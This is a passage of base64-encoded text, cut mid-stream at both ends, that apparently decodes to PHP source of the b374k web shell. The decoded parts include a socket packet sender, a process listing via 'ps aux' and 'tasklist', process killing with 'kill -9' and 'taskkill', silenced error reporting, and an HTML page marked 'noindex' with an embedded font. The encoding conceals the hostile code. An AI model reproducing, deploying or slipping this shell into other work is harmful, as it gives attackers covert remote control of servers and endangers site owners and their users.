pOwoJaWYoISRzb2NrKXsKCQkkcmVzIC49ICI8ZGl2IGNsYXNzPSd3ZWFrJz4iOwoJCSRyZXMgLj0gaHRtbF9zYWZlKHRyaW0oJGVyclN0cikpLiIgKGVycm9yICIuaHRtbF9zYWZlKHRyaW0oJGVyck5vKSkuIik8L2Rpdj4iOwoJfQoJZWxzZXsKCQlzdHJlYW1fc2V0X3RpbWVvdXQoJHNvY2ssICRwYWNrZXRTVGltZW91dCk7CgkJZndyaXRlKCRzb2NrLCAkcGFja2V0Q29udGVudC4iXHJcblxyXG5ceDAwIik7CgkJJGNvdW50ZXIgPSAwOwoJCSRtYXh0cnkgPSAxOwoJCSRiaW4gPSAiIjsKCQlkb3sKCQkJJGxpbmUgPSBmZ2V0cygkc29jaywgMTAyNCk7CgkJCWlmKHRyaW0oJGxpbmUpPT0iIikgJGNvdW50ZXIrKzsKCQkJJGJpbiAuPSAkbGluZTsKCQl9d2hpbGUoJGNvdW50ZXI8JG1heHRyeSk7CgkJZmNsb3NlKCRzb2NrKTsKCQkkcmVzIC49ICI8dGFibGUgY2xhc3M9J2JveHRibCc+PHRyPjx0ZD48dGV4dGFyZWEgc3R5bGU9J2hlaWdodDoxNDBweDttaW4taGVpZ2h0OjE0MHB4Oyc+Ii5odG1sX3NhZmUoJGJpbikuIjwvdGV4dGFyZWE+PC90ZD48L3RyPiI7CgkJJHJlcyAuPSAiPHRyPjx0ZD48dGV4dGFyZWEgc3R5bGU9J2hlaWdodDoxNDBweDttaW4taGVpZ2h0OjE0MHB4Oyc+Ii5iaW4yaGV4KCRiaW4pLiI8L3RleHRhcmVhPjwvdGQ+PC90cj48L3RhYmxlPiI7Cgl9CgoJb3V0cHV0KCRyZXMpOwp9CgokR0xPQkFMU1snbW9kdWxlJ11bJ3Byb2Nlc3NlcyddWydpZCddID0gInByb2Nlc3NlcyI7CiRHTE9CQUxTWydtb2R1bGUnXVsncHJvY2Vzc2VzJ11bJ3RpdGxlJ10gPSAiUHJvY2Vzc2VzIjsKJEdMT0JBTFNbJ21vZHVsZSddWydwcm9jZXNzZXMnXVsnanNfb250YWJzZWxlY3RlZCddID0gInNob3dfcHJvY2Vzc2VzKCk7IjsKJEdMT0JBTFNbJ21vZHVsZSddWydwcm9jZXNzZXMnXVsnY29udGVudCddID0gIiI7CgppZighZnVuY3Rpb25fZXhpc3RzKCdzaG93X3Byb2Nlc3NlcycpKXsKCWZ1bmN0aW9uIHNob3dfcHJvY2Vzc2VzKCl7CgkJJG91dHB1dCA9ICcnOwoJCSR3Y291bnQgPSAxMTsKCQlpZihpc193aW4oKSl7CgkJCSRjbWQgPSAidGFza2xpc3QgL1YgL0ZPIGNzdiI7CgkJCSR3ZXhwbG9kZSA9ICJcIixcIiI7CgkJfQoJCWVsc2V7CgkJCSRjbWQgPSAicHMgYXV4IjsKCQkJJHdleHBsb2RlID0gIiAiOwoJCX0KCgkJJHJlcyA9IGV4ZWN1dGUoJGNtZCk7CgkJaWYodHJpbSgkcmVzKT09JycpIHJldHVybiBmYWxzZTsKCQllbHNlewoJCQkkb3V0cHV0IC49ICI8dGFibGUgaWQ9J3BzVGFibGUnIGNsYXNzPSdkYXRhVmlldyBzb3J0YWJsZSc+IjsKCQkJaWYoIWlzX3dpbigpKSAkcmVzID0gcHJlZ19yZXBsYWNlKCcjXCArIycsJyAnLCRyZXMpOwoKCQkJJHBzYXJyID0gZXhwbG9kZSgiXG4iLCRyZXMpOwoJCQkkZmkgPSB0cnVlOwoJCQkkdGJsY291bnQgPSAwOwoKCQkJJGNoZWNrID0gZXhwbG9kZSgkd2V4cGxvZGUsJHBzYXJyWzBdKTsKCQkJJHdjb3VudCA9IGNvdW50KCRjaGVjayk7CgoJCQlmb3JlYWNoKCRwc2FyciBhcyAkcHNhKXsKCQkJCWlmKHRyaW0oJHBzYSkhPScnKXsKCQkJCQlpZigkZmkpewoJCQkJCQkkZmkgPSBmYWxzZTsKCQkJCQkJJHBzbG4gPSBleHBsb2RlKCR3ZXhwbG9kZSwgJHBzYSwgJHdjb3VudCk7CgkJCQkJCSRvdXRwdXQgLj0gIjx0cj48dGggY2xhc3M9J2NvbC1jYm94IHNvcnR0YWJsZV9ub3NvcnQnPjxkaXYgY2xhc3M9J2NCb3hBbGwnPjwvZGl2PjwvdGg+PHRoIGNsYXNzPSdzb3J0dGFibGVfbm9zb3J0Jz5hY3Rpb248L3RoPiI7CgkJCQkJCWZvcmVhY2goJHBzbG4gYXMgJHApICRvdXRwdXQgLj0gIjx0aD4iLnRyaW0odHJpbShzdHJ0b2xvd2VyKCRwKSkgLCJcIiIpLiI8L3RoPiI7CgkJCQkJCSRvdXRwdXQgLj0gIjwvdHI+IjsKCQkJCQl9CgkJCQkJZWxzZXsKCQkJCQkJJHBzbG4gPSBleHBsb2RlKCR3ZXhwbG9kZSwgJHBzYSwgJHdjb3VudCk7CgkJCQkJCSRwaWQgPSB0cmltKHRyaW0oJHBzbG5bMV0pLCJcIiIpOwoJCQkJCQkkdGJsY291bnQgPSAwOwoJCQkJCQkkb3V0cHV0IC49ICI8dHIgZGF0YS1waWQ9JyIuJHBpZC4iJz4iOwoKCQkJCQkJZm9yZWFjaCgkcHNsbiBhcyAkcCl7CgkJCQkJCQlpZih0cmltKCRwKT09IiIpICRwID0gIiAiOwoJCQkJCQkJJHAgPSB0cmltKHRyaW0oJHApICwiXCIiKTsKCQkJCQkJCSRwID0gaHRtbF9zYWZlKCRwKTsKCQkJCQkJCWlmKCR0Ymxjb3VudCA9PSAwKXsKCQkJCQkJCQkkb3V0cHV0IC49ICI8dGQ+PGRpdiBjbGFzcz0nY0JveCc+PC9kaXY+PC90ZD48dGQ+PGEgY2xhc3M9J2tpbGwnPmtpbGw8L2E+PC90ZD48dGQ+Ii4kcC4iPC90ZD4iOwoJCQkJCQkJCSR0Ymxjb3VudCsrOwoJCQkJCQkJfQoJCQkJCQkJZWxzZXsKCQkJCQkJCQkkdGJsY291bnQrKzsKCQkJCQkJCQlpZigkdGJsY291bnQgPT0gY291bnQoJHBzbG4pKSAkb3V0cHV0IC49ICI8dGQgc3R5bGU9J3RleHQtYWxpZ246bGVmdDsnPiIuJHAuIjwvdGQ+IjsKCQkJCQkJCQllbHNlICRvdXRwdXQgLj0gIjx0ZCBzdHlsZT0ndGV4dC1hbGlnbjpjZW50ZXI7Jz4iLiRwLiI8L3RkPiI7CgkJCQkJCQl9CgkJCQkJCX0KCQkJCQkJJG91dHB1dCAuPSAiPC90cj4iOwoJCQkJCX0KCQkJCX0KCQkJfQoJCQkkY29sc3BhbiA9IGNvdW50KCRwc2xuKSsxOwoJCQkkY29sc3BhbkFsbCA9ICRjb2xzcGFuKzE7CgkJCSRvdXRwdXQgLj0gIjx0Zm9vdD48dHI+PHRkPjxkaXYgY2xhc3M9J2NCb3hBbGwnPjwvZGl2PjwvdGQ+PHRkIGNvbHNwYW49Ii4kY29sc3Bhbi4iIHN0eWxlPSd0ZXh0LWFsaWduOmxlZnQ7Jz48c3BhbiBjbGFzcz0nYnV0dG9uJyBvbmNsaWNrPSdraWxsX3NlbGVjdGVkKCk7JyBzdHlsZT0nbWFyZ2luLXJpZ2h0OjhweDsnPmtpbGwgc2VsZWN0ZWQ8L3NwYW4+PHNwYW4gY2xhc3M9J2J1dHRvbicgb25jbGljaz0nc2hvd19wcm9jZXNzZXMoKTsnPnJlZnJlc2g8L3NwYW4+PHNwYW4gY2xhc3M9J3BzU2VsZWN0ZWQnPjwvc3Bhbj48L3RkPjwvdHI+PC90Zm9vdD48L3RhYmxlPiI7CgkJfQoJCXJldHVybiAkb3V0cHV0OwoJfQp9CgoKaWYoaXNzZXQoJHBbJ3Nob3dQcm9jZXNzZXMnXSkpewoJJHByb2Nlc3NlcyA9IHNob3dfcHJvY2Vzc2VzKCk7CglpZigkcHJvY2Vzc2VzIT09ZmFsc2UpIG91dHB1dCgkcHJvY2Vzc2VzKTsKCW91dHB1dCgnZXJyb3InKTsKfQplbHNlaWYoaXNzZXQoJHBbJ2FsbFBpZCddKSl7CgkkYWxsUGlkID0gZXhwbG9kZSgiICIsICRwWydhbGxQaWQnXSk7CgkkY291bnRlciA9IDA7Cglmb3JlYWNoKCRhbGxQaWQgYXMgJHBpZCl7CgkJJHBpZCA9IHRyaW0oJHBpZCk7CgkJaWYoIWVtcHR5KCRwaWQpKXsKCQkJaWYoZnVuY3Rpb25fZXhpc3RzKCJwb3NpeF9raWxsIikpewoJCQkJaWYocG9zaXhfa2lsbCgkcGlkLCc5JykpICRjb3VudGVyKys7CgkJCX0KCQkJZWxzZXsKCQkJCWlmKGlzX3dpbigpKXsKCQkJCQkkY21kID0gZXhlY3V0ZSgidGFza2tpbGwgL0YgL1BJRCAiLiRwaWQpOwoJCQkJCSRjbWQgPSBleGVjdXRlKCJ0YXNrbGlzdCAvRkkgXCJQSUQgZXEgIi4kcGlkLiJcIiIpOwoJCQkJCWlmKHN0cnBvcygkY21kLCJObyB0YXNrcyBhcmUgcnVubmluZyIpIT09ZmFsc2UpICRjb3VudGVyKys7CgkJCQl9CgkJCQllbHNlewoJCQkJCSRjbWQgPSBleGVjdXRlKCJraWxsIC05ICIuJHBpZCk7CgkJCQkJaWYoKHN0cnBvcygkY21kLCAic3VjaCBwcm9jZXNzIik9PT1mYWxzZSkmJihzdHJwb3MoJGNtZCwgIm5vdCBwZXJtaXR0ZWQiKT09PWZhbHNlKSl7CgkJCQkJCSRjbWQgPSB0cmltKGV4ZWN1dGUoInBzIC1wICIuJHBpZCkpOwoJCQkJCQkkY2hlY2sgPSBleHBsb2RlKCJcbiIsICRjbWQpOwoJCQkJCQlpZihjb3VudCgkY2hlY2spPT0xKSAkY291bnRlcisrOwoJCQkJCX0KCQkJCX0KCQkJfQoJCX0KCX0KCWlmKCRjb3VudGVyPjApIG91dHB1dCgkY291bnRlcik7CgllbHNlIG91dHB1dCgnZXJyb3InKTsKfQoKJGVycm9yID0gQG9iX2dldF9jb250ZW50cygpOwoJJGVycm9yX2h0bWwgPSAoIWVtcHR5KCRlcnJvcikpPyI8cHJlIGNsYXNzPSdwaHBFcnJvciBib3JkZXInPiIuc3RyX3JlcGxhY2UoIlxuXG4iLCAiXG4iLCBodG1sX3NhZmUoJGVycm9yKSkuIjwvcHJlPiI6IiI7CglAb2JfZW5kX2NsZWFuKCk7CgllcnJvcl9yZXBvcnRpbmcoMCk7CglAaW5pX3NldCgnZGlzcGxheV9lcnJvcnMnLCcwJyk7CgoKPz48IWRvY3R5cGUgaHRtbD4KPGh0bWw+CjxoZWFkPgo8dGl0bGU+PD9waHAgZWNobyAkR0xPQkFMU1sndGl0bGUnXS4iICIuJEdMT0JBTFNbJ3ZlciddOz8+PC90aXRsZT4KPG1ldGEgY2hhcnNldD0ndXRmLTgnPgo8bWV0YSBuYW1lPSdyb2JvdHMnIGNvbnRlbnQ9J25vaW5kZXgsIG5vZm9sbG93LCBub2FyY2hpdmUnPgo8bWV0YSBuYW1lPSJ2aWV3cG9ydCIgY29udGVudD0id2lkdGg9ZGV2aWNlLXdpZHRoLCBpbml0aWFsLXNjYWxlPTEuMCwgbWF4aW11bS1zY2FsZT0xLjAsIHVzZXItc2NhbGFibGU9bm8sIHVzZXItc2NhbGFibGU9MCI+CjxsaW5rIHJlbD0nU0hPUlRDVVQgSUNPTicgaHJlZj0nPD9waHAgZWNobyBnZXRfcmVzb3VyY2UoJ2IzNzRrJyk7Pz4nPgo8c3R5bGUgdHlwZT0idGV4dC9jc3MiPgpAZm9udC1mYWNlIHsKCWZvbnQtZmFtaWx5Oid1YnVudHVtb25vJzsKCXNyYzp1cmwoZGF0YTphcHBsaWNhdGlvbi94LWZvbnQtd29mZjtjaGFyc2V0PXV0Zi04O2Jhc2U2NCxkMDlHUmdBQkFBQUFBR2tZQUE4QUFBQUFwK2dBQVFBQkFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQkdSbFJOQUFBQldBQUFBQndBQUFBY1hocWlDMDlUTHpJQUFBRjBBQUFBWEFBQUFHQ0lmKzJmWTIxaGNBQUFBZEFBQUFHUUFBQUI4cURwcitWamRuUWdBQUFEWUFBQUFJNEFBQUlJQzNBVXgyWndaMjBBQUFQd0FBQURld0FBQmlOMnZVVEVaMkZ6Y0FBQUIyd0FBQUFJQUFBQUNQLy9BQU5uYkhsbUFBQUhkQUFBV1g0QUFJOGd0ay9CS0dobFlXUUFBR0QwQUFBQU1nQUFBRGIyZmZoaGFHaGxZUUFBWVNnQUFBQWRBQUFBSkFVMUFwNW9iWFI0QUFCaFNBQUFBUThBQUFHOEpxUWJNR3h2WTJFQUFHSllBQUFCdGdBQUFiYmdIYnd5YldGNGNBQUFaQkFBQUFBZ0FBQUFJQWIvQ0p4dVlXMWxBQUJrTUFBQUFod0FBQVdVRC9zUXluQnZjM1FBQUdaTUFBQUJlQUFBQWhoR0FoSE9jSEpsY0FBQVo4UUFBQUZUQUFBQmlwSStMNlFBQUFBQkFBQUFBTW1KYnpFQUFBQUF5ZVcreXdBQUFBREtxM1FPZUFGallHYjh3VGlCZ1pXQmdXa1BVeGNEQTBNUGhHYTh5MkRFOEFzb3lzM0t5Y3pHeE16RThvQ0I2WDhBZzBJMEF4UzRPUG82TWpnd2NIeGdZTnI2UDVyQmtObU9ZWlVDQThQOE1FYWc3Z3RNMlVBbENneU1BRitxRVlWNEFXSmdZR0NHWWhrR1JnWVFlQVBrTVlMNUxBd1hnTFFCZ3dLUUpRQmtjVEx3TXNneTFESDhaelJrREdZNnhuU0w2WTZDaUlLVWdweUNrb0tWZ290Q2ljSWFKZEVILzkvLy9jRHcvei9ZTEE2UURxRCtCVUFkUVZBZHdnb1NDakpBSFpZWU9oai8vL3ovOWYrVC80Ly9IL28vOFgvaDMvOS8zL3g5L1dEcmcwMFBOajVZOTJER2cvNEhDUTgwN3gyVXZ5RndXK0FtMEkwa0EwWTJJSWF4bVlBRUU3b0NZRkN3c0xLeGMzQnljZlB3OHZFTENBb0ppNGlLaVV0SVNrbkx5QUlrSjYrZ3FLU3NvcXFtcnFHcHBhMmpxNmR2WUdoa2JHSnFabTVoYVdWdFkydG43K0RvNU96aTZ1YnU0ZW5sN2VQcjV4OFFDRmhRY0Vob1dIaEVaRlIwVEd4Y2ZFSWlRMXQ3Wi9ma0dmTVdMMXF5Yk9ueWxhdFhyVm03ZnQyR2padTNidG0yWS91ZTNYdjNNUlNscEdaZXFGaFlrTTFRbHNYUU1ZdWhtSUVodlJ6c3Vwd2FoaFc3R3BQelFPemNXb2FrcHRicGg0K2NPSG4yM0tuVE94a09NbHkrZXZFU1VLYnl6SG1HbHA3bTNxNytDUlA3cGs1am1ESm43dXhEUjQ4WE1qQWNxd0pLQXdBRDg1Q3hlQUZqR0hEQWxBMWw4UDcvREtJWUx6QXcvSThHaW04RmkzTDkvL2IvR3dNWFJPWC9Ud3g4UVBWOFFCV2ZHRTJBV0pLcGdMRUNLTXI1L3p2REx3Wk9vUGgzckpZRWdja1FNTXNOU0ZveGVBQkpKNUE0RUljeUZEUFlBc1dkZ1R3UElGa0JGQXNCMG01QUhrZytBVWkyQTBWc2dDSm1ZTFlIa0syTFpMNFd3eEFGakpMQUVGTmtxZ1FBVUZFbE9nQUFlQUY5VXNGdTIwWVFYVktKckVveHlnU3VJWUNIRER1VllVTlNWU0J1NjdxcXpZcGNScTZhMXJJVVlHbjBRQ3FTSWQ5OHlpRm9BZDlxTU8yL0ROdUxjOHNQOUI5eTZMRTU1cHpPVXBRZ0dYQ0loVDN6M3B2WnR6TnlEOVhUNGVDa2YvenpUMDkrN1AxdzFIMGNTTi9yZk84ZUhuelgvbmIvbTcydnYvcXk5WG16c2IxVit3dy9mVmpkdUc5OXZGNHBmMVJhSzk2OVV6QU4wWkFZUkVCYkVkM1p3bTYzcVhPTUdZaVhnSWlBb1dCVlF4QmxNbGhWdXF3OHU2RjBaMHAzb1RRc2FJdDJzd0VTZ2Y3eEVhNk4wNzdpK0U4ZlE2QzNXZnhFeDF5UkpldWNPQTVYZ0t4T2ZTQWpBa25CODJraUk1LzdwWld5aDk2azNHeUl0Rnpoc01JUmJlTkZhbXdmR0ZsZ2JzdjkxQlNsZFgwdEZXb3lIdE54WDBuZmRwd3d3NFNYOWFLaVIydFpMempYbnNWTFNCdXZreit1TFRHSzZ2ZkdPSTUvVVZTSXVTZ3B5Q1Q1bmU3WGFRZDkybm54YjVXZlBLRUcrcExxeU0xNko0c0xETHBic3hDU2Q0TE40OXYvVnBFNFI0bzE2NTNRb1g3aVlrek16MlBCM3FpbzMrYzQyc3ZMYTFlTU9LSEx2cHJsSUViMlg4SnQxVU15STgyOG5qT2ZQTlhNNVp4WmxFZm82RlhKS0QvUHAxVzZIRUd6d2RQUFRvMFA4MENGcldqMGJLci94NU1FZlg4MnQ2RWkxK2ZBamZPM3l2U0xGdXZqaUI5eHJzZlFWOVRDQzlyQWpoWmtBT2dkbkE5VVZwS1gwWVpISW5xV1YxRkwrdG9YeUNUS2dtelhQZXlyVitMUit6ZnBMdGgvUHhLN0l0USthTk5UYkVzbWFueEdEeU43VEJDZGdiSWRja01lWDRocUV1b3RvVVU3YjJ4SGYyRmV4Vys3b1o2TG1hSzFXZ21VYVJkQ3ZTMEdJT0EvMkdrellWRnhsckpoUmtBWnRwakwrSlpjd2RGcUgwNEtOYStycVlJdTlicTJFenF6N3dPVzdKa243aytscFY0V0EzTlArVDIzV2N2VjJ0QU95SW0vWkhDbEtTZmFZTjd0RnA4bTA1QmZ6QlVsdmM1dVRuRU1USlRJNURZYXlyWllCUkxIb0hDQ0lVNkIzR09sMzZabm5XU0xIV0N2ZjZxeWJlZS9rdUZ5bHZON0N5NlB5UFNHaW9JNlowdjVZODZYMHU0TittaE9RMUxDM2lEUm5URnZLQ0E1SXRGWDVDSWtldzkyWjZnUllCQmhFQ05ZRUNUeDlmdkxVWks2Ym5JaG8rbSs3b05INHdRSHFtMW45azdVYi9ZTER1aUI2Qm05WWFmWlNFM1JTZEc0NnFldWNUVTRWYThzSWVCcXFGTFQ2SVNzbE5VcFAxQWhTQmpyNGZ3YVRwTW85TG1GMk9SQjhqSEl3QU5CSmg2a2hsbThSMldjZEtpQ0hZMGZhdnh3aGhjMXZzWnJNVGFONXYrQlBhc1BBQUFBQUFILy93QUNlQUY4ZXdsOFhGZDU3em4zenAyNXk4eGQ1dDZaZTJmZk40MDBJODFJR2tuV01wSWwyYklzTC9JU0wxSHNPSkJBSEJLTUhzWk9uSmdZUWt4d2NJRGt0UVIrUUFKOW9lMHZMVXMyazdZVVNLSHZOVTd6MnBUbU5Rc3Bydy95SHJqa0ZkclhBcGJmOTkwNWN1U3dqSFMvYys2NXk1eHp2dTMvZmVjTTRVaUdFTnJGUFVoNDRpTzFMMU5TSC8yS3o4TmRhSHpaSzd3OCtoV2VneXI1TW8vTkFqWi94ZWZsZnpuNkZZcnRUU05qbEpwR0xrT2wxNy96SGU3Qmk5ZG51RDBFM3ZuNHBaL1JkZHhoRWlBUmttc2I1R09LWXQ5dkdMR28xM3BRdmRxL2wweE1YSHlPR3NIaCtvVm0vVUpmTDdWVXpwZXI4V08weVdlTEEvMkR6VVk0WkhscGdSTzgvRER2RmJpOVBiRnlPUll2bGVpM0N1TkRyV1N5TlRSZStPTEZEeGRTcVFJZWhPRDMza24vaUM1emp4Q0ptQ1QwcEd3U1NmT1loTlFiNXh1MC9zcXI1L3Q2VFhndGZCT0ZiN3BjZTA0V3Uzenl2OGkrTGxIbUh1bnBQbEt2SCtucFhpM3h2VEZDNlAvZ0RrT1pJbi9jM2hlUUphK2dDdXJITkQyUjVEMmFSd3RhdGhNakp1RlNjU05JZ3g4enpYQTBRejVHUFI4VEJNV1hOdmNHOTJwN0UzRmIvcDJBWmVpQkdNOTVmMGRLSlIwcEFIK0N1bGM0NkRsSUQ1S0RaQUkvd2VIaGV0MW9OcHY2aFVhamNia0NWNmorN1VhamZ2SFZDL3B6V041Kzl6UHcwVjFLSGYwNS9mYlY2Z1ZXN2V2TjVGbzVIeHdEVGZkbyt0d2psTU9qQkpST3pxZHVTYzJuMmd2Snc4ZFRVRS9PSjlzTHFadU9wMjlPM2Z6NXozOSsvV2VudmdDZnFjK3UvLzVuQ2FGazhOSm42ZGU1eDhrQStXcmI2SE9DWktFdnJSbGtjMTlaSlF2VnB5NjkvcGppSjV1N25ycjA0bU9TVERhWG5ycjAybGQxc2xEQ0t3R1ZiQzQrZGVrTmJNaENRM3RVSXd0R0dlOExwS0ZOU3N0a0lkVDlrV0M5cmxVY1J6aFRhVFVhcVRQYW9GeVA1MFBOSmpuYlhhL1ZCaU9SK05sZ3lDVDFWeG9YR2pCUnJCd0dnYUw2ZDBHazlGZUJvSGcxTHpUNmVxdHJQcTNHT0RmUVgrTktOUjdFckRYUURDV3A3YXZSWE5ZYnNwS2NuZVJSTEVLNWdSb3R0WkwwZitmNzRuNm4waCtQRFZTaW16ZHVLcSszakZDN2IzRFlTRmRqMlhadllzdjJUUk5iekhCczB5NGxsREFpdVZoSWxwMWNYNzY5VGJuaGJad216b3BHdVJpS2g0TnlJRkVlS3ExYmxKZmZ6VG5LVE1BbVJDREJTeitsMytlT0VaNW9JRnNsMGlUdmEyOThMZjVHbkl2L3BIYXB4dFZlSzc5UjVzcFp3bEh1WHA1WVBPSDU3TUJQNUVzeUo3K212NkZ6K2svQ2w4SmMyRU9wcDcrYTZpdGNGUW1ZdmowY3Y1dlFYV1NpQ1gvblh6NlBCd3BPWFg5bDZkV2w4MHNnTy9XN3EzZmZEbkxDV3ZwNm16bmFGRmIxTHBjdHR2cUw3cFNFbTQxQjh6ZTBINWlsdDgydURJMDBteU40Zk5xeDdVakV0cDM5dzUyVzRVL2pHYlp5aHorNmVldld6WnUzYmR2Y016TFNBOGZLcTlpQUIyc2doUEFrZGVuZlFjK09reW9aSkZQVS84UmsyZ2lDWktFSW9aeUJ4SHpWd0JJa0NBU25CeVZJZ2txM0tKS0ZJcDZscEFEWm5IYjhaQ0d0SzBBY0ZLMm9BdzlGZStFZUE2UVNaYy9BTjRHNGNrOWRlaDdmekxFM2MweFlvWHdEcjFNc2cxaWlyTUlOcmFQbHNrL3Y3NDU1a3VwUm1hKzJQV09CZ0hmWk56MTJOSm1zSDNYV3Q3dGpWVjNtKzZ2OVhtOWo1RVJ1cG5IQ25BMm9VOGlNQ3hNWFFDU0hoMUdoOGVqSTZnVlhXSVAyOEFYRGhrdG9EcXUvNWtOQlRzZHB5MWFwRDJxNVlra0ZtYTF4S01RMU90QS96alViU1E1NHBGR1ZnaVJUYkw3TUxIaVM2a2JCRlAzOGpOYzI3QzdqS2lPVTNsb3RqbmJaZlFQUmRLU3JsWWcyaXZibzVGUWlVUjZaam1jMjdDeEZvajNCUkcrWnhxeUtIWjhxU3lQN0MrbnBZaTVkemtXNlI5TDFnNVhjeG1KcHBHRHFtZDVVN2RwS1BqcWRMalZCeW5zVy9pT2ZyMVFTaldKeW1sRHlIUDAwTFlCTkRoRHJTZm94djE5VGZRRlNQNC9XM3pYOW9jdTJueFo0d2V0cGVyd0NEMlk0UER5MnpyYlhqWTJFdXduYW5TT1g5dEpUM0o4U25adzhSM3dkaWZBQmY1QnZYdVFiS3huZjNPdVU4WlV5ZnFwUXRrRkVGbVFIaUlCY0RXbkE3alFRVFpLSXlQc05vdTBUSlZKdlRpQi9YbmtPN1c5ZkwzRlp3RmpSbVdFT3pRWk92MDNmdjNUSXJzODFlcGFQdk9jOTNkeWRHLy9rbHFHM1hiMjdPcnJySDI4LzhmMGRvK1NLL2dmSm5uTkVnLzVnTjdBL2RhajRIT3c5R2xOQnh3NGhvVG9Ldnc4YkRVa0tRdDhzWW9qU1BoQ2wrcFY5VyswWXNCbHRHeG91ZDFaTHkwdlgyYjF1eHhMRHU0YTdENi90MmZpeFc2NnJzTDROazUvVHA4Ry9kWk5tMjY2a1BaNTBPS1dxcVZTdHB5S0Z5N1l0QkZMZ3M1OXRnRUU5MzJpNHJBTWorK3o1QmhCZ1laS21xSzlVb3lDVEdwaE5FTk1hcllPc2dxQmU5clRqZEFJTXJVcHBLalppZVdhRlVGYlRzN1l3STRTSFlvVXRPVi9NbDl1UUZnTzdBMko2TnVlTGV2TUw5S0ZJS3lVMHZja05tY3lHcE5Ed3BnWWpndUxuRm5rMUc4eHZLZnA4eFMxNU14UGdGem5GM3hsSERlYmlPL1Q3UkNINXR1YjErQlFxeXdHL2g2T1NUeWJROTFmT043SHpXR3NnR0dpQy9RYzNDT1krVi92aXh0Ly8vWTFmcEYxUFBUVjc3aHloNUlGTDc2WUh5RWVJU1ZKdDhQWDNFMUVNV2NSVUhoU3VKaE1YWHU0SThITVhodnQ2N1hFZWRaQlpTWmozQjRLNXBPTkxKM29TaGFKZG4rM2Q2aEUxMitLcm9YSmxvSmlZYUpXOGhKSXo1Ty9wTzJpQjhDVHdWWTZIQW5TaWpwMkNEcDE1K1dWYTJOSVowNWNCUzAyVGUyRk0raFBrZnEvMElJL2ZUMUYzQ21pU0dWeWkwK1ZNdGx6T1pzcnRaSzJXVE5WcWhKS1pTL3ZwSDNOUEV4NVJHQWZGdlpTektPVjQrSWZMZFJTa2V2MXVIWjBCakFOOHdJTzdxTDNqOS9pRHhMWEhOZkJQM3daN3JCQ2JWTW0vUFZIUjBZTVhtUFdFMHBYaUZEdFBvVFJiMEJCemJ3czdZRW5EcUZvVytuNU5KNXQxNXZ1aGZMNnR3aFVWNzFGUjJrVzhsR1ZsRWtwOEpwWWdtOGxUbC82OFhZckZ5ZWI3Q04xRzNrL3VJMzlPWGlOdkVDOXBTLzZONUt6M3M5Ni85dkxlZGl5NTBZdjNwcUhWNjgwNlo0STkyVFArN2dtZThwK1RxQ1JwcGJPaHF4Sm50VDBFTGJFeFhBZkhoeVpZZnhWUHF0V2w4OVdsSTlWZnRiNTB6U3l2ZFpFRlVMVmNWdVhRRmpRQlZ0RCtWQ1NhVGtjanFaV2ZINzcyMEkwM0hycjJNSjMyeDJ2WmJDM3VYeTNwWkxSWWpFYkw1Y0tuSDNuazAzZzA5MCtYeTlQN202eEVuczhEZVFMMFVTZFQ3U0tIN295V2cwRFNNTG1FU0xKWCtBZ3Z5MEZEa0Q4cTdpSzZyb0REbjJnMjYrY25MakR0dkhoZUIrMTBCMk9DUG9LL0NXVUdtb2JLKythYkJ5c2o3MTM1Nm9lVVZLRnMwaDlaWS9XTEw4M08wcS9JSVN2b1pmWUF5SjhDMzd2SmZlZEk5NlUzWEVqWERVYTFyYmlZemtHYXhYTU51cFZ3MEZDRlJhMWpVdEUxODh3QTgyODYxamRXSFcwN2h1NzRERkVVVXBQUGFEMkZncDdQcDg1MjdaRS9HdGpsOHFaUnB5Q2F5QnBBS3ZxVkR0RU5GVlErbEFsbGl2M285MXJqL0FEamhLODB6cU1xZkNGUzZZOXA1YnhERXlzZnB2SHVWaXhjU1psR29oaU9Wak9PdHlLbWU0YlMxeTdSOCtuUmthR1kxdFhkcGMwS2l0QzFzVDBjQzNkMTlUaXhZc1N2V3FaM1JJcmErdDdPbkt3RFhmZ2F6RW1EL096eEduS2poR0FDU3dRUkJrTzQ3dlRnQlVBYmVjVEFPRFVabUEyM2ttQjRJOEg4RlphUGlmQklISjdGQzNGMklZU3FoRitpT3FnM2dxTzduZ0ZKQU9VQVRudDB2QTlKRnJXcGdoWDlUQ3JGbnluMDI3WWsxWnRaNmFPeUhPM3RKV2U3cnJvbGZCSndZdGc4RzkxRGNJS1hrQmpnZ1lkZFpOam9RT1lMRFpCL2N0blRYUW1jQjNHYXEzUUFaWDNBUlJZdzM1VEJEbC9INWVTeUhmZnp3dGIxOGRwb0pwUUkxMHZPUkZkMTFFcUhkdlgzemZhRW0rWGUyVmpycWxHN3J5dmowL1haMFlrQlZJdjFrbDFPTmF1UndJU1djYnJYNWZxbWcrcjI5ZVdaUnR5bktQd0dNZXpHZDNsQzZOK0FYcWdrUk43Vm52cW1SdjlXb1B4WEJNbzlMTkJYTFBvbjFyTVc5NmhGQlV1ejdpV0NSWWlnQlVJZmtYMmlUY0krWW4xVURnVDh1NzZrUGE5eG45ZW9KcURXTEMyaFA0WDRDaVpDZi9YdkdsRHJHRVM2Qko4RDhBZFRzZ1JTNWlvUitvb01CVFZxNW8xMW0zWld0ODNOYlZ2NUVRM0ZXdjA5d2IvNGJ2a2R0eHl1cnJ4ditqT2ZvWWNUc3d2YlNoM1ptVUxaZ1g2WHlKZmFmZ2UxMkY5R2VmQWkyM1dHV3pRb0dVNFJXTHZBMnFGOC9uSzdEQ1hlSjYzQnEwenQ4THlkaHh1ejJmQVp2cElqSDRtbEF3RTlSbVBsMkZsQ2pOeEgwN3RWMVRnclh1VUtnWXRITDhDNGwwQUNJTVIwWmVBdEJ0QzhrckhJZkZmZFlENHlvWnpLZisxRHQwWmJ1MGFjZWxjYTJMbStXUjdNYVBid2RmTmVINkE0MnZWOXluczg5SVJ3MC83S0xQQlNWanpBeTJDcUhNNE81TTN1aGJtTjVWbTFwMUVEM2c3Q0hIMkR1NWxFU1EvNXIrZElIaFRBaEpGRUhkQ2tTRm9IVW9ZUmhsR25VQ1ZDYklwQ0xCaHd6MFVHN1JWV1NsQXlaZFNadGtMNTU2aGhPbDczTXorRDdzcURjMWVFYitUeHk2cG5USy9YckN1Wk16cmlpbVRzcktLcVF2R3NjNVgzckxDYmVSQVVHL0FnU3pCenpGRDlxdHFnaGJKQlhwaW11Rk5aYklIdWVDMTBIRXlaQnZ2Mm4xcjBEVncxWGZNN3crbit1VzRyWE52WXVPSDZ2MGdQeEtnU3ErV1Q1YWpTK3ZkOUg3bW1RV2RwcUw1cFVGSFRBN09GN0laMWhYdWU5dnRsVXluTkRLUWl4WHBvck4yUnVRa2czM0YxcGRBT3